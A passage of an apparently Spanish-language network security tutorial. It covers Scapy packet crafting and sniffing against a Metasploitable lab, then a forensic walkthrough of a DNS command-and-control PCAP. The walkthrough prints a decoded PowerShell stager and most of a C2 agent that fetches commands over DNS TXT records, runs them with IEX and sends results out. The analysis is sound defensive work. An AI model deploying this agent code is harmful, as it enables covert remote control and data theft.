meter ese sobre en otro:

229
Donde:

●​ IP --> adonde quiero llegar


●​ TCP --> qué puerto quiere tocar y qué gesto (flag) uso

Cuando haces un [Link](), Scapy te muestra todas las capas y todos los campos, incluso los que va a
autocompletar después cuando se envíe (checksum, lengths, sequence numbers, etc.).

Ejemplo:

In [168]:
from [Link] import *

pkt = IP(dst="[Link]")/TCP(dport=80, flags="S")


[Link]()

###[ IP ]###
version = 4
ihl = None
tos = 0x0
len = None
id = 1
flags =
frag = 0
ttl = 64
proto = tcp
chksum = None
src = [Link]
dst = [Link]
\options \
###[ TCP ]###
sport = ftp_data
dport = http
seq = 0
ack = 0
dataofs = None
reserved = 0
flags = S
window = 8192
chksum = None
urgptr = 0
options = []

Esto te imprime la estructura completa:

●​ Capa IP
●​ Capa TCP
●​ Campos
●​ Flags
●​ Checksums

230
●​ Seq / Ack
●​ TTL
●​ etc.
1.​ Capa IP
●​ src --> la IP desde donde saldrá (Scapy la detecta)
●​ dst --> la IP a la que envías
●​ ttl --> tiempo de vida del paquete
●​ id --> identificador único del paquete
●​ proto=tcp -->Scapy detecta que encima va TCP
2.​ Capa TCP
●​ sport --> puerto origen (auto generado si no lo pones)
●​ dport=80 --> puerto destino (HTTP)
●​ flags="S" --> SYN --> quiero iniciar conexión
●​ seq --> número de secuencia inicial
●​ chksum --> lo calcula Scapy cuando envías
●​ window --> tamaño de ventana del TCP
●​ options --> opciones TCP (ninguna aquí)

El siguiente código corto, sirve para ver varias flags y cómo se ven en la estructura empaquetada:

In [171]:
from [Link] import *

dst = "[Link]" # Tu Metasploitable 2

flags = ["S", "A", "F", "R", "P", "U", "SA", "FA", "FPU"] # Xmas incluido

for f in flags:
pkt = IP(dst=dst)/TCP(dport=80, flags=f)
print("\n [ FLAG:", f, " ]")
[Link]()

S ]:
###[ IP ]###
version = 4
ihl = None
tos = 0x0
len = None
id = 1
flags =
frag = 0
ttl = 64
proto = tcp
chksum = None
src = [Link]
dst = [Link]
\options \
###[ TCP ]###
sport = ftp_data
dport = http
seq = 0
ack = 0

231
dataofs = None
reserved = 0
flags = S
window = 8192
chksum = None
urgptr = 0
options = []

A ]:
###[ IP ]###
version = 4
ihl = None
tos = 0x0
len = None
id = 1
flags =
frag = 0
ttl = 64
proto = tcp
chksum = None
src = [Link]
dst = [Link]
\options \
###[ TCP ]###
sport = ftp_data
dport = http
seq = 0
ack = 0
dataofs = None
reserved = 0
flags = A
window = 8192
chksum = None
urgptr = 0
options = []

F ]:
###[ IP ]###
version = 4
ihl = None
tos = 0x0
len = None
id = 1
flags =
frag = 0
ttl = 64
proto = tcp
chksum = None
src = [Link]
dst = [Link]
\options \

232
###[ TCP ]###
sport = ftp_data
dport = http
seq = 0
ack = 0
dataofs = None
reserved = 0
flags = F
window = 8192
chksum = None
urgptr = 0
options = []

R ]:
###[ IP ]###
version = 4
ihl = None
tos = 0x0
len = None
id = 1
flags =
frag = 0
ttl = 64
proto = tcp
chksum = None
src = [Link]
dst = [Link]
\options \
###[ TCP ]###
sport = ftp_data
dport = http
seq = 0
ack = 0
dataofs = None
reserved = 0
flags = R
window = 8192
chksum = None
urgptr = 0
options = []

P ]:
###[ IP ]###
version = 4
ihl = None
tos = 0x0
len = None
id = 1
flags =
frag = 0
ttl = 64

233
proto = tcp
chksum = None
src = [Link]
dst = [Link]
\options \
###[ TCP ]###
sport = ftp_data
dport = http
seq = 0
ack = 0
dataofs = None
reserved = 0
flags = P
window = 8192
chksum = None
urgptr = 0
options = []

U ]:
###[ IP ]###
version = 4
ihl = None
tos = 0x0
len = None
id = 1
flags =
frag = 0
ttl = 64
proto = tcp
chksum = None
src = [Link]
dst = [Link]
\options \
###[ TCP ]###
sport = ftp_data
dport = http
seq = 0
ack = 0
dataofs = None
reserved = 0
flags = U
window = 8192
chksum = None
urgptr = 0
options = []

SA ]
###[ IP ]###
version = 4
ihl = None
tos = 0x0

234
len = None
id = 1
flags =
frag = 0
ttl = 64
proto = tcp
chksum = None
src = [Link]
dst = [Link]
\options \
###[ TCP ]###
sport = ftp_data
dport = http
seq = 0
ack = 0
dataofs = None
reserved = 0
flags = SA
window = 8192
chksum = None
urgptr = 0
options = []

FA ]
###[ IP ]###
version = 4
ihl = None
tos = 0x0
len = None
id = 1
flags =
frag = 0
ttl = 64
proto = tcp
chksum = None
src = [Link]
dst = [Link]
\options \
###[ TCP ]###
sport = ftp_data
dport = http
seq = 0
ack = 0
dataofs = None
reserved = 0
flags = FA
window = 8192
chksum = None
urgptr = 0
options = []

235
FPU ]
###[ IP ]###
version = 4
ihl = None
tos = 0x0
len = None
id = 1
flags =
frag = 0
ttl = 64
proto = tcp
chksum = None
src = [Link]
dst = [Link]
\options \
###[ TCP ]###
sport = ftp_data
dport = http
seq = 0
ack = 0
dataofs = None
reserved = 0
flags = FPU
window = 8192
chksum = None
urgptr = 0
options = []

Sniffer de un HTTP GET desde Scapy

Ahora Vamos a ver en pantalla cada paquete (IP, puertos, flags), además, mostrar el payload (sí tiene) tipo
HTTP. Luego, guardar todo en un pcap para que tú puedas verlo en Wireshark y pegarme partes acá para
revisarlo.

In [12]:
from [Link] import *

dst_ip = "[Link]" # IP de tu Metasploitable


dst_port = 80 # HTTP

def packet_callback(pkt):
#solo mostramos si tiene capa IP y TCP
if [Link](IP) and [Link](TCP):
ip = pkt[IP]
tcp = pkt[TCP]

print("\n" + "="*70)
print(f"{[Link]}:{[Link]} -> {[Link]}:{[Link]} Flags={[Link]}")

236
# si tiene datos (HTTP u otros), los mostramos parcial
if [Link](Raw):
raw = pkt[Raw].load
try:
text = [Link](errors="ignore")
except:
text = repr(raw)

print("--- DATA (primeros 300 bytes) ---")


print(text[:300])
print("----------- FIN DATA -----------")

# Filtro solo tráfico hacia/desde Metasploitable en puerto 80


filtro = f"host {dst_ip} and tcp port {dst_port}"

print(f"[*] Sniffeando tráfico con filtro: {filtro}")


print("[*] Ahora, desde otra consola/celda, corre tu curl [Link] ")
print("[*] Este sniffer se detendrá solo después de 20 segundos.... \n")

pkts = sniff(
filter=filtro,
timeout=20, # captura de 20 segundos y luego termina
prn=packet_callback, # función que imprime cada paquete
store=True # guardamos los paquetes en memoria
)

print(f"\n[*] Captura terminada. Se capturaron {len(pkts)} paquetes.")

# se guardar a pcap para que puedas abrir en Wireshark si quieres


wrpcap("http_sniff_metasp.pcap", pkts)
print("[*] Captura guardada en http_sniff_metasp.pcap")

[*] Sniffeando trafico con filtro: host [Link] and tcp port 80
[*] Ahora, desde otra consola/celda, corre tu curl [Link]
[*] Este sniffer se detendrá solo después de 20 segundos....

======================================================================
[Link]:1237 -> [Link]:80 Flags=S

======================================================================
[Link]:1237 -> [Link]:80 Flags=S

======================================================================
[Link]:1237 -> [Link]:80 Flags=S

======================================================================
[Link]:1237 -> [Link]:80 Flags=S

======================================================================
[Link]:80 -> [Link]:1237 Flags=SA

======================================================================

237
[Link]:1237 -> [Link]:80 Flags=A

======================================================================
[Link]:1237 -> [Link]:80 Flags=PA
--- DATA (primeros 300 bytes) ---
GET / HTTP/1.1
Host: [Link]
User-Agent: curl/8.16.0
Accept: */*

----------- FIN DATA -----------

======================================================================
[Link]:80 -> [Link]:1237 Flags=A

======================================================================
[Link]:80 -> [Link]:1237 Flags=PA
--- DATA (primeros 300 bytes) ---
HTTP/1.1 200 OK
Date: Sun, 23 Nov 2025 03:22:30 GMT
Server: Apache/2.2.8 (Ubuntu) DAV/2
X-Powered-By: PHP/5.2.4-2ubuntu5.10
Content-Length: 891
Content-Type: text/html

<html><head><title>Metasploitable2 - Linux</title></head><body>
<pre>

_ _ _ _
----------- FIN DATA -----------

======================================================================
[Link]:1237 -> [Link]:80 Flags=FA

======================================================================
[Link]:80 -> [Link]:1237 Flags=FA

======================================================================
[Link]:1237 -> [Link]:80 Flags=A

[*] Captura terminada. Se capturaron 12 paquetes.


[*] Captura guardada en http_sniff_metasp.pcap

Desde tu terminal, una vez encendido el sniffer, visita tu metasloitable con : curl [Link] y
listo.

238
El proceso queda de la siguiente manera, después de escuchar el trafico de red:

●​ S -- > SYN
●​ A -- > ACK
●​ PA -- > GET /
●​ FA -- > FIN/ACK
●​ A -- > ACK

Episodio I - El PCAP en las Sombras


Cuando uno se encuentra con un PCAP por primera vez, no está mirando simples paquetes... está abriendo
una pequeña ventana a un momento congelado del pasado. Cada archivo es como un pedazo de memoria
digital que alguien dejó tirada en un cajón, a veces es ruido, otras veces es una historia y de vez en
cuando… es un secreto mal guardado.

Eso me pasó con tres PCAP que encontré en GitHub. No tenían instrucciones ni etiquetas, solo estaban ahí,
esperando que alguien los abriera. Así que lo hice como cualquiera, con curiosidad, sin saber qué iba a
encontrar.

El primero tenía un comportamiento extraño desde el inicio. Tráfico DNS, sí, pero no el de siempre. Era como
escuchar a dos personas conversando en voz muy baja, casi como si no quisieran ser descubiertas. Cuando
abrí los paquetes TXT, apareció un texto raro, largo, formando un comando en base64 y recomponiéndolo
pedazo a pedazo. No necesitas ser analista para sospechar. Es como ver a alguien “solo revisando la puerta”
pero con ganzúas en la mano. A veces la intención está en los detalles.

La idea es ir de lo muy general a lo muy específico, Ver el cuadro general del tráfico, luego enfocarse en
DNS, posterior, quedarse solo con los TXT y ver qué esconden esos TXT (el C2).

Terminaremos con unos pequeño gráfico para que la historia se vea.

In [92]:
# instalar librerias
!pip install scapy pandas matplotlib

Requirement already satisfied: scapy in c:\users\starh\anaconda3\lib\site-packages


(2.6.1)
Requirement already satisfied: pandas in c:\users\starh\anaconda3\lib\site-packages
(2.2.3)
Requirement already satisfied: matplotlib in c:\users\starh\anaconda3\lib\site-packages
(3.10.0)
Requirement already satisfied: numpy>=1.26.0 in
c:\users\starh\anaconda3\lib\site-packages (from pandas) (2.1.3)
Requirement already satisfied: python-dateutil>=2.8.2 in
c:\users\starh\anaconda3\lib\site-packages (from pandas) (2.9.0.post0)

239
Requirement already satisfied: pytz>=2020.1 in
c:\users\starh\anaconda3\lib\site-packages (from pandas) (2024.1)
Requirement already satisfied: tzdata>=2022.7 in
c:\users\starh\anaconda3\lib\site-packages (from pandas) (2025.2)
Requirement already satisfied: contourpy>=1.0.1 in
c:\users\starh\anaconda3\lib\site-packages (from matplotlib) (1.3.1)
Requirement already satisfied: cycler>=0.10 in
c:\users\starh\anaconda3\lib\site-packages (from matplotlib) (0.11.0)
Requirement already satisfied: fonttools>=4.22.0 in
c:\users\starh\anaconda3\lib\site-packages (from matplotlib) (4.55.3)
Requirement already satisfied: kiwisolver>=1.3.1 in
c:\users\starh\anaconda3\lib\site-packages (from matplotlib) (1.4.8)
Requirement already satisfied: packaging>=20.0 in
c:\users\starh\anaconda3\lib\site-packages (from matplotlib) (24.2)
Requirement already satisfied: pillow>=8 in c:\users\starh\anaconda3\lib\site-packages
(from matplotlib) (11.1.0)
Requirement already satisfied: pyparsing>=2.3.1 in
c:\users\starh\anaconda3\lib\site-packages (from matplotlib) (3.2.0)
Requirement already satisfied: six>=1.5 in c:\users\starh\anaconda3\lib\site-packages
(from python-dateutil>=2.8.2->pandas) (1.17.0)

Descarga tus 3 PCAP a una carpeta, por ejemplo:

[Link]
kdoor_DGA.pcapng
[Link]
20dns%20txt%20queries%20and%[Link]
[Link]
eterpreter_portfwd.pcapng

In [93]:
PCAP_DNS_C2 = r"C:\pcap\cmds over dns txt queries and [Link]" # ejemplo 1
PCAP_DGA = r"C:\pcap\C2_Foudre_Backdoor_DGA.pcapng" # ejemplo 2
PCAP_RDP_C2 = r"C:\pcap\rdp_tunneling_meterpreter_portfwd.pcapng" # ejemplo 3

Primero armamos una función Jedi que sirve para cualquier pcap, no solo este:

In [94]:
from [Link] import rdpcap, IP, TCP, UDP, DNS, Raw
from collections import Counter # importa para contar elementos repetidos
import pandas as pd

def resumen_pcap(pcap_path, max_pkts=None): # define la función que recibe la ruta


del pcap y un límite opcional de paquetes
pkts = rdpcap(pcap_path) # lee todos los paquetes del archivo pcap
if max_pkts: # si se indica un límite de paquetes
pkts = pkts[:max_pkts] # corta la lista de paquetes hasta el máximo definido

total = len(pkts) # cuenta el total de paquetes cargados

240
# contadores para protocolos y capas
proto_tcp = 0 # contador de paquetes tcp
proto_udp = 0 # contador de paquetes udp
proto_icmp = 0 # contador de paquetes icmp
proto_other = 0 # contador de otros protocolos ip

has_dns = 0 # contador de paquetes con capa dns


has_raw = 0 # contador de paquetes con capa raw

# contadores de ip y puertos
src_ips = Counter() # contador de ip de origen
dst_ips = Counter() # contador de ip de destino
tcp_dports = Counter() # contador de puertos destino tcp
udp_dports = Counter() # contador de puertos destino udp
sizes = [] # lista para guardar tamaños de paquetes
# recorre cada paquete y acumula estadísticas
for p in pkts: # iteración sobre cada paquete
[Link](len(p)) # guarda el tamaño del paquete en bytes
if IP in p: # preguntamos si el paquete tiene capa ip
src_ips[p[IP].src] += 1 # contador de ip origen
dst_ips[p[IP].dst] += 1 # contador de ip destino

if TCP in p: #si el paquete tiene capa tcp entonces


proto_tcp += 1 # suma al contador tcp
tcp_dports[p[TCP].dport] += 1 # suma puerto tcp destino
elif UDP in p: # si el paquete tiene capa udp suma al contador udp
proto_udp += 1
udp_dports[p[UDP].dport] += 1 # de lo contrario suma al puerto udp
destino
elif [Link]("ICMP"): # si el paquete tiene capa icmp entonces suma
al contador icmp
proto_icmp += 1 #
else:
proto_other += 1 # si no es ninguno de los anteriores, suma a otros

if DNS in p: # si el paquete tiene capa dns


has_dns += 1 # suma contador de paquetes dns
if Raw in p: # si el paquete tiene capa raw
has_raw += 1 #suma al contador de paquetes raw
# crea un diccionario con los resultados generales
resumen = {
"total_paquetes": total,
"tcp": proto_tcp,
"udp": proto_udp,
"icmp": proto_icmp,
"otros_ip": proto_other, # cantidad de paquetes ip que no son tcp, udp ni
icmp
"con_dns": has_dns,
"con_raw": has_raw,
}
# crea dataframes con los datos más comunes de ip y puertos
df_src = [Link](src_ips.most_common(), columns=["ip_src", "count_src"]) # ip
de origen más comunes

241
df_dst = [Link](dst_ips.most_common(), columns=["ip_dst", "count_dst"]) # ip
de destino más comunes
df_tcp_dports = [Link](tcp_dports.most_common(), columns=["tcp_dport",
"count"]) # puertos tcp destino más comunes
df_udp_dports = [Link](udp_dports.most_common(), columns=["udp_dport",
"count"]) # puertos udp destino más comunes
sizes_series = [Link](sizes, name="packet_size") # serie con tamaños de
paquetes

# retorna todas las estructuras procesadas


return resumen, df_src, df_dst, df_tcp_dports, df_udp_dports, sizes_series

Usamos la función:

In [95]:
resumen, df_src, df_dst, df_tcp_dports, df_udp_dports, sizes =
resumen_pcap(PCAP_DNS_C2)

print("=== RESUMEN GENERAL ===")


for k, v in [Link]():
print(f"{k}: {v}")

print("\nTop IP origen:")
print(df_src.head(5))

print("\nTop IP destino:")
print(df_dst.head(5))

=== RESUMEN GENERAL ===


total_paquetes: 301
tcp: 0
udp: 236
icmp: 15
otros_ip: 0
con_dns: 214
con_raw: 0

Top IP origen:
ip_src count_src
0 [Link] 152
1 [Link] 97
2 [Link] 2

Top IP destino:
ip_dst count_dst
0 [Link] 113
1 [Link] 99
2 [Link] 31
3 [Link] 6
4 [Link] 2

242
Qué deberías sentir al ver los resultados:

●​ Ves cuántos paquetes hay: ok, no es gigantesco, se puede jugar.


●​ Ves cuántos llevan DNS: ahí te dice... este pcap va de nombres, no de HTTP.
●​ Las IPs top te muestran quién es la máquina sospechosa y contra qué servidores habla ([Link], un
DNS interno, etc.).

Si quieres ponerle un poquito de visual:

In [97]:
import [Link] as plt

df_src.head(5).plot(kind="bar", x="ip_src", y="count_src", legend=False)


[Link]("Top 5 IP origen")
[Link](rotation=45)
plt.tight_layout()
[Link]()

PCAP_DNS_C2
Imagina que te pasaron un .pcap sin ningún contexto. Solo sabes que se llama cmds over dns txt queries
and responses. El nombre ya te cierra un ojo, pero en este mundo uno aprende a no enamorarse de las
sospechas... Así que lo abres con mucha curiosidad y paciencia.

Y aquí empieza el juego.

Leer los paquetes y detectar los que hablan DNS

243
Nuestro sable láser será Scapy, porque nos deja diseccionar cada capa sin hacer ruido. El primer script fue
simple pero crucial: leer y filtrar.

In [98]:
from [Link] import rdpcap, DNS
import pandas as pd
import base64, re

# Cargamos el archivo sospechoso


pcap_path = r"C:\pcap\cmds over dns txt queries and [Link]"
pkts = rdpcap(pcap_path)
print(f"Total paquetes: {len(pkts)}")

Total paquetes: 301

Scapy te responde que son 301 paquetes y eso, no está mal.... es decir, no es muy grande como para
perderse y más bien es pequeñito y eso juega a nuestro favor... es como el tipo de conversación que podrías
analizar con un café sin que se te enfríe.

Así que decides ver si hay algo de DNS, porque el nombre del archivo ya lo insinúa y efectivamente, cuando
empiezas a recorrer los paquetes, los registros TXT empiezan a aparecer como pequeñas señales en la
oscuridad... El truco aquí fue no confiar en los tipos, sino mirar el contenido. Los atacantes, como buenos
artistas del caos, no siempre respetan las etiquetas.

Ahora, leamos todo lo que parezca texto, aunque Scapy no lo entienda bien:

In [99]:
txt_records = []

for pkt in pkts:


if [Link](DNS):
dns = pkt[DNS]
# Solo miramos respuestas DNS, porque ahí vienen los datos del atacante
if [Link] > 0:
answers = [Link] if isinstance([Link], list) else [[Link]]
for ans in answers:
if hasattr(ans, "rdata"):
rdata = [Link]
if isinstance(rdata, list):
data = " ".join([[Link](errors="ignore") if isinstance(x,
bytes) else str(x) for x in rdata])
else:
data = [Link](errors="ignore") if isinstance(rdata,
bytes) else str(rdata)
if [Link]():
txt_records.append({
"time": [Link],
"src": pkt[0].src if hasattr(pkt[0], "src") else None,
"dst": pkt[0].dst if hasattr(pkt[0], "dst") else None,

244
"raw_txt": [Link]()
})

print(f"[-] Se encontraron {len(txt_records)} registros TXT (queries+responses).")

for r in txt_records[:5]:
print("\nRegistro:")
for k, v in [Link]():
print(f"{k}: {v}")

[-] Se encontraron 18 registros TXT (queries+responses).

Registro:
time: 1591425407.785742
src: 52:54:00:36:3e:ff
dst: 52:54:00:4a:04:af
raw_txt: [Link].

Registro:
time: 1591425407.904008
src: 52:54:00:36:3e:ff
dst: 52:54:00:4a:04:af
raw_txt: @$str='';$i=1;while(1){if(''+(nslookup -q=txt "l.$[Link].") -match
'@(.*)@'){$str +=
[[Link]]::[Link]([[Link]]::FromBase64String($matches[1]))
} else {break;}$i++}iex $str@

Registro:
time: 1591425408.070239
src: 52:54:00:36:3e:ff
dst: 52:54:00:4a:04:af
raw_txt:
@JF9ucyA9ICJucy5vc3RyeWtlYnMucGwuIgokX3NzID0gUmFuZG9tIC1NYXhpbXVtIDUwMDAwCiRfY20gPSA2MC
8yCiRfZG0gPSAxODAvMgokX2JzID0gIiRfc3MuJF9ucyIKCmZ1bmN0aW9uIGNyYygkYSl7JHM9MDtbaW50W11dW
2NoYXJbXV0kYXxmb3JlYWNoIHskcys9JF99O3JldHVybiAkc30KZnVuY3Rpb24gdW5iKCRiKXtyZXR1@

Registro:
time: 1591425408.235506
src: 52:54:00:36:3e:ff
dst: 52:54:00:4a:04:af
raw_txt:
@cm4gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbmcoW1N5c3RlbS5Db252ZXJ0XTo6RnJvbU
Jhc2U2NFN0cmluZygkYikpfQpmdW5jdGlvbiBlbmMoJGEpeyRyPSIiO1tTeXN0ZW0uVGV4dC5FbmNvZGluZ106O
lVURjguR2V0Qnl0ZXMoJGEpfEZvcmVhY2h7JHIrPVtTeXN0ZW0uU3RyaW5nXTo6Rm9ybWF0KCJ7MDp4@

Registro:
time: 1591425408.354702
src: 52:54:00:36:3e:ff
dst: 52:54:00:4a:04:af
raw_txt:
@Mn0iLFtTeXN0ZW0uQ29udmVydF06OlRvVWludDMyKCRfKSk7fTtyZXR1cm4gJHI7fQpmdW5jdGlvbiBnZXRUWF
QoJGEsICR1bmIgPSAkVHJ1ZSkgeyRiPShuc2xvb2t1cCAtcT10eHQgJGEgMj4kbnVsbCkgLW1hdGNoICciJyAtc
mVwbGFjZSAnW1xzIl0nLCcnOyBpZigoJGIgLWVxICRGYWxzZSkgLW9yICghJHVuYikpIHtyZXR1cm4g@

245
Ahí en este resultado, frenas el café a medio sorbo...y dices, eso no es DNS.... Eso es PowerShell y no
cualquiera... uno que está usando nslookup dentro de un bucle para ir pidiendo registros TXT, concatenando
lo que le responden y luego ejecutándolo (iex $str). Eso, amigo, es un Command & Control sobre DNS.

Los demás registros lo confirman. Tienen el formato @JF9u...@ , que claramente es Base64 ...

Hasta aquí, la Fuerza te dice.... esta historia es principalmente DNS, pon atención ahí.... Entonces, ahora
vamos afinando el sable.. queremos ver cada consulta/respuesta DNS como fila de una tabla para saber
quién pregunta, quién responde, qué nombre pregunta, qué tipo, etc.

In [100]:
from [Link] import DNSQR, DNSRR

def dns_a_dataframe(pcap_path):
pkts = rdpcap(pcap_path)
rows = []

for p in pkts:
if not [Link](DNS):
continue

dns = p[DNS]
time_epoch = float([Link])

ip_src = p[IP].src if [Link](IP) else None


ip_dst = p[IP].dst if [Link](IP) else None

qr = [Link] # 0 = query, 1 = response

qname = None
qtype = None
if [Link] is not None and isinstance([Link], DNSQR):
qname = [Link](errors="ignore") if isinstance([Link],
bytes) else str([Link])
qtype = [Link]

an_name = None
an_type = None
an_rdata = None
if [Link] is not None and isinstance([Link], DNSRR):
an_name = [Link](errors="ignore") if
isinstance([Link], bytes) else str([Link])
an_type = [Link]
an_rdata = [Link]

[Link]({
"time_epoch": time_epoch,
"src": ip_src,
"dst": ip_dst,

246
"qr": qr,
"qname": qname,
"qtype": qtype,
"an_name": an_name,
"an_type": an_type,
"an_rdata": an_rdata
})

df = [Link](rows)
df["time"] = pd.to_datetime(df["time_epoch"], unit="s")
return df

df_dns = dns_a_dataframe(PCAP_DNS_C2)
print("Filas totales en df_dns:", len(df_dns))
df_dns.head(10)

Filas totales en df_dns: 214

Out[100]:

time_epo q qna qty an_n an_t an_r


src dst time
ch r me pe ame ype data

2020-06-06
1.591425 192.168.10 Non No
0 [Link] 0 None None None 06:36:47.765
e+09 0.121 e ne
563011

2020-06-06
1.591425 192.168.10 Non No
1 [Link] 1 None None None 06:36:47.785
e+09 0.121 e ne
742044

2020-06-06
1.591425 192.168.10 Non No
2 [Link] 0 None None None 06:36:47.786
e+09 0.121 e ne
063910

2020-06-06
1.591425 192.168.10 Non No
3 [Link] 1 None None None 06:36:47.904
e+09 0.121 e ne
007912

2020-06-06
1.591425 192.168.10 192.168.10 Non No
4 0 None None None 06:36:48.026
e+09 0.121 0.2 e ne
165009

247
2020-06-06
1.591425 192.168.10 192.168.10 Non No
5 1 None None None 06:36:48.031
e+09 0.2 0.121 e ne
550884

2020-06-06
1.591425 192.168.10 192.168.10 Non No
6 0 None None None 06:36:48.031
e+09 0.121 0.2 e ne
831026

2020-06-06
1.591425 192.168.10 192.168.10 Non No
7 1 None None None 06:36:48.070
e+09 0.2 0.121 e ne
239067

2020-06-06
1.591425 192.168.10 192.168.10 Non No
8 0 None None None 06:36:48.192
e+09 0.121 0.2 e ne
435980

2020-06-06
1.591425 192.168.10 192.168.10 Non No
9 1 None None None 06:36:48.198
e+09 0.2 0.121 e ne
050976

Aquí ya pasaste de mirar paquetes a mirar líneas de una historia, cada fila es... a tal hora, X le preguntó a Y
por Z.

Ahora viene la parte rica, buscar específicamente los TXT, que es donde el atacante esconde cadena,
payload, código, etc.

In [101]:
import pandas as pd
import [Link] as plt
import seaborn as sns
import numpy as np

# df real
df = [Link](txt_records)

# aquí limpiamos y convertimos a tiempos


df["time"] = pd.to_datetime(df["time"].astype(float), unit="s", errors="coerce")
df = [Link](subset=["time"])

# tamaño del contenido TXT , aqui esta la clave


df["length"] = df["raw_txt"].apply(lambda x: len(x) if isinstance(x, str) else 0)

# aquí clasificamos los tipos de registro con esta función...


def classify_txt(x):
if not isinstance(x, str):

248
return "Empty"
if "@" in x:
return "Base64 / Command"
elif "[Link]" in x:
return "Legit"
else:
return "Other TXT"

df["type"] = df["raw_txt"].apply(classify_txt) # aplicamos la clasificación sobre la


columna raw_txt

# ordenamos los eventos cronológicamente


df = df.sort_values("time")

# --> hacemos un estilo visual forense, nada del otro mundo


[Link](figsize=(14,7))
sns.set_theme(style="darkgrid")
palette = {"Legit": "skyblue", "Base64 / Command": "crimson", "Other TXT": "gold",
"Empty": "gray"}

# graficamos el flujo
for t, color in [Link]():
subset = df[df["type"] == t]
[Link](subset["time"], subset["length"], s=100, alpha=0.8, label=t,
color=color, edgecolors="black", linewidths=0.5)

# aqui pondremos una linea que muestre la acumulacion de tamaño total (crecimiento
del payload)
df["cumulative"] = [Link](df["length"])
[Link](df["time"], df["cumulative"]/10, color="lime", linewidth=2, label="Crecimiento
acumulado (x10)")

# estetica del gráfico


[Link]("Caso 1 - DNS Command & Control observado en flujo TXT", fontsize=15,
color="white", pad=20)
[Link]("Tiempo", fontsize=10, color="white")
[Link]("Tamaño del registro TXT (bytes)", fontsize=10, color="white")
[Link](title="Tipo de tráfico", facecolor="black", labelcolor="white")
[Link](alpha=0.3)
[Link](rotation=45)
plt.tight_layout()
[Link]()

249
Y lo hermoso de este gráfico es que muestra un ritmo del ataque...ves cómo la víctima lanza las primeras
consultas inofensivas, luego aparece una ráfaga de TXT con datos base64 (el script), y después el flujo se
apaga. Esa curva ascendente, es literalmente el malware descargando y ejecutando su propio cerebro.

Cuando encontramos registros TXT en DNS con esas cosas raras, no siempre son texto legible.... a veces
traen trozos de datos en Base64, eso es lo que el atacante usa para fragmentar y ocultar comandos dentro
de consultas o respuestas DNS. Ahora, lo que estás viendo, explicado como historia... imagina que el
atacante no puede usar HTTP ni HTTPS porque el firewall o el proxy lo bloquea, entonces dice.... ya, si no
me dejan navegar, voy a hablar a través del DNS.... y así, disfrazado de tráfico normal, comienza a pedir
pedacitos de texto que el servidor le envía escondidos en registros TXT.

Cómo leer los fragmentos:

In [102]:
import base64
import pandas as pd
import re

# Tomamos los registros que ya extrajimos (txt_records)


# y los ordenamos por tiempo, tal como el malware lo haría
df = [Link](txt_records)
df = [Link](subset=["raw_txt"])
df = df.sort_values("time")

# Ahora, extraemos los fragmentos base64 (cada línea puede tener varios)
all_fragments = []
for i, row in [Link]():
txt = row["raw_txt"]
matches = [Link](r"[A-Za-z0-9+/=]{20,}", txt)
for m in matches:
all_fragments.append(m)

250
print(f"[-] Se encontraron {len(all_fragments)} fragmentos Base64 potenciales")

# luego, intentamos decodificarlos y guardarlos en orden


decoded_parts = []
for frag in all_fragments:
try:
decoded = base64.b64decode(frag).decode("utf-8", errors="ignore")
if [Link]():
decoded_parts.append([Link]())
except Exception:
continue

print(f"[-] Fragmentos codificados correctamente: {len(decoded_parts)}")

# esta parte es muy importante, concatenamos todo en el orden original


full_script = "\n".join(decoded_parts)

# mostramos el resultado para analizarlo más tarde


print(full_script)

[-] Se encontraron 16 fragmentos Base64 potenciales


[-] Fragmentos codificados correctamente: 16
$_ns = "[Link]."
$_ss = Random -Maximum 50000
$_cm = 60/2
$_dm = 180/2
$_bs = "$_ss.$_ns"

function crc($a){$s=0;[int[]][char[]]$a|foreach {$s+=$_};return $s}


function unb($b){retu
rn [[Link]]::[Link]([[Link]]::FromBase64String($b))}
function
enc($a){$r="";[[Link]]::[Link]($a)|Foreach{$r+=[[Link]]::Fo
rmat("{0:x
2}",[[Link]]::ToUint32($_));};return $r;}
function getTXT($a, $unb = $True) {$b=(nslookup -q=txt $a 2>$null) -match '"' -replace
'[\s"]',''; if(($b -eq $False) -or (!$unb)) {return
$b;} return unb($b);}

function sendResult($rd, $id) {


$d = ""
$chunks = [[Link]]::Ceiling($[Link]/$_dm)
$chunk=0
"len=" + $[Link]
for ($j=0; $j -lt $[Link]
h; $j+=$_dm) {
$chunk++
$r = enc($[Link]($j, [[Link]]::Min($_dm, $[Link]-$j)))

$d = "r."
for ($i=0; $i -lt $[Link]; $i+=$_cm) {
$

251
d += $[Link]($i, [[Link]]::Min($_cm, $[Link]-$i)) +"."
}
$d += "$chunk.$chunks.$id.$_bs"

$crcd=crc($d)
"chunk=$chunk, chunks=$chunks, id=$id, d=
$d, crc=$crcd"
do {
$rv = getTXT -a $d
"got: $rv, should have $crcd"
if ($rv -eq $crcd) {
break
}
} until(0)
}

return $d
}

$cid = 1
$sleepTime=3
$cmds = @{}
$partid = 1

do {
$status = "r"

$dom = "c.$cid-$partid.$_bs"
if ($global:s) {
#$dom = "c.$cid"+"_$global:s-$pa
rtid.$_bs"
$dom = "c.$cid-$partid.$global:s.$_bs"
#$global:s = ""
}

echo "request: $dom"


$response = getTXT $dom $False
echo "response: $response"
$resp
onse = $response -replace ' ','+'

$arr = $response -split '\|',4

if ($[Link] -ne 4) { continue }


($__cid, $__part, $__parts, $cmd) = $arr
$cmds[$__cid] += $cmd

$p
artid++
if (($__parts -as [int]) -le ($__part -as [int])) {
if ($cmds[$__cid] -eq "") { $cid++; $partid=1; Start-Sleep -s $sleepTime;
continue }
$data = unb($cmds[$__cid

252
])
if ($data -eq "") { $cid++; $partid=1; Start-Sleep -s $sleepTime; continue }
$cmds[$__cid] = $False
$Global:lastCommand = $False

try {
#echo
"execute ---'$data'---"
​ ​ ​ $result = IEX $data
​ ​ } catch [Exception] {
​ ​ ​ $result = $_.Exception
​ ​ ​ $status = "e"
​ ​ }

​ ​ $resultBytes = ""
​ ​ if ($result) {
​ ​ ​ try {
​ ​ ​ ​ $resultBytes = [Syst
[Link]]::ToBase64String($result)
​ ​ ​ } catch [Exception] {
​ ​ ​ ​ $resultString = ($result | Out-String).Trim()
​ ​ ​ ​ $resultBytes =
[[Link]]::ToBase64String([[Link]]::U
[Link]($resultString))
​ ​ ​ }
​ ​ }

$lc = ""
if ($Global:lastCommand) {
$lc =
[[Link]]::ToBase64String([[Link]]::[Link]($Global:l
astCommand))
}

$rb = "$status|$lc|$resultBytes"

